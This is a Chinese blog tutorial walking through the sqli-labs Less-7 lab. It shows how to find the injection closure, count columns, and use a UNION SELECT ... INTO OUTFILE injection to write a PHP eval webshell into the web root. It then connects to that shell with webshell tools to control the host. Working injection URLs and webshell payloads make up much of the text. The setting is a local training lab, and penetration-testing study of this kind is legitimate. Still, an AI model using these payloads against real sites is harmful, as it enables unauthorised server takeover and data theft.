当前位置: 首页 > news >正文

SQl注入文件上传及sqli-labs第七关less-7

Sql注入文件上传

1、sql知识基础

secure_file_priv 参数

secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。

secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能导出导入。

secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。
可以使用下面语句查看该值:

show variables like ‘%secure%’;

在这里插入图片描述

secure_file_priv的值可以修改,在MySQL安装路径下的my.ini文件中
在这里插入图片描述

因为此次测试需要读写权限,我将其值修改为我的网站根目录。
在这里插入图片描述
修改之后记得重新启动MySQL服务
然后查询
在这里插入图片描述

2、文件上传语句及条件

into outfile 语句用于把表数据导出到一个文本文件中,要想mysql用户对文件进行导入导出,首先要看指定的权限目录。mysql 新版本下secure_file_priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
在这里插入图片描述
在这个案例中可以把值修改为我们上传的语句,目录修改为我们知道的目标靶机的目录。

3、上传成功条件

1)要有file_priv权限

2)知道网站绝对路径(可以通过报错信息、phpinfo界面、404界面等一些方式知道)

3)要能用union

4)对web目录有写权限

5)select <?php @($\_POST['xx']);?> into outfile “绝对路径/文件名”

3、实验步骤

1)?id=xx union select 1,2,"<?php @($\_POST['xx']);?> into outfile “文件路径”–+

2)蚁剑、哥斯拉连接即可

4、一句话木马

<?php @eval($_POST['password']);?>

password是预留密码,可以自定义,在进行webshell后台登陆工具登录时使用

更多一句话木马了解可以参考一句话木马

5、靶场注入

在这里插入图片描述

5.1 确定注入点及闭合方式

http://192.168.140.130/sq/Less-7/?id=1
http://192.168.140.130/sq/Less-7/?id=2

我们发现页面回显一致,当我们加入单引号,页面报错,存在注入点,将单引号闭合,报错,闭合方式不是单引号,用" ",没有报错,但是使用1=11=2都没有报错,不是双引号报错,用')不对,多次尝试,最后发现使用'))闭合,注释掉不报错,且1=1正确页面,1=2报错
确定闭合方式为'))

5.2 确定列数

http://192.168.140.130/sq/Less-7/?id=1’)) order by 5 --+
http://192.168.140.130/sq/Less-7/?id=1’)) order by 4 --+
http://192.168.140.130/sq/Less-7/?id=1’)) order by 3 --+

order by 3 的时候正确,列数为三

5.3 进行注入

http://192.168.140.130/sq/Less-7/?id=1’)) union select 1,2,3 --+

没有回显,且页面回显提醒我们使用文件注入

5.4 进行文件上传注入

构造一句话上传木马注入语句

http://192.168.140.130/sq/Less-7/?id=1’)) union select 1,“<?php @eval($_POST['pwd']); ?>”,3 into outfile “C:\phpStudy_64\phpstudy_pro\WWW” --+

当我们执行语句页面回显还是报错,但实际已经上传成功。可以在上传目录查看
在这里插入图片描述

有时这个会被防火墙阻挡,可以关闭防火墙或者容许文件存在。
打开查看内容
在这里插入图片描述

5.5 使用webshell工具进行连接

打开webshell工具
添加在这里插入图片描述
url地址因为我是在虚拟机进行的,所以为本地地址,连接密码为一句话木马设置的密码。
连接之后就相当于控制这台电脑了
在这里插入图片描述
至此,注入目标达成,欢迎大家指点评论,互相进步

http://www.lryc.cn/news/455720.html

相关文章:

  • 想成为月薪过万的软件测试工程师?快看过来!
  • 找生网站方案———未来之窗行业应用跨平台架构
  • 全网都在找的Python生成器竟然在这里!简单几步,让你的代码更简洁、更高效!
  • 插入排序,希尔排序,和归并排序
  • Prompt 模版解析:诗人角色的创意引导与实践
  • zookeeper选举kafka集群的controller
  • 吉如一线段树:区间最值和历史最值
  • 数据库常见的安全特性有哪些
  • Debezium日常分享系列之:Debezium 3.0.0.Final发布
  • MVCC(多版本并发控制)
  • 低代码可视化-uniapp响应式数据data-代码生成器
  • 10.7学习
  • 基础算法之前缀和--Java实现(下)--LeetCode题解:-和为 K 的子数组 - 和可被 K 整除的子数组 -连续数组-矩阵区域和
  • 序列化与反序列化基础及反序列化漏洞(附案例)
  • Khronos:动态环境下时空度量语义SLAM的统一方法
  • 一个迷茫的25岁前端程序员的自述
  • 多文件并发多线程MD5工具(相对快速的MD5一批文件),适配自定义MD5 Hash I/O缓存。
  • Pikachu-url重定向-不安全的url跳转
  • 如何下载和安装CLion,图文详解
  • vue3导入本地图片2种实现方法
  • leetcode 刷题day36动态规划Part05 背包问题(完全背包、518. 零钱兑换 II、377. 组合总和 Ⅳ、70. 爬楼梯 (进阶))
  • 检查jar冲突,查找存在相同class的jar
  • PhpStudy-PHP5.4.45后门漏洞应用程序(C++/base64/winhttp)
  • 【优选算法】(第二十七篇)
  • 学习Flask框架
  • Elasticsearch:使用 LLM 实现传统搜索自动化
  • 人脸表情行为识别系统源码分享
  • ThreadLocal原理解析及面试
  • 探索未来:mosquitto-python,AI领域的新宠
  • C++版iwanna1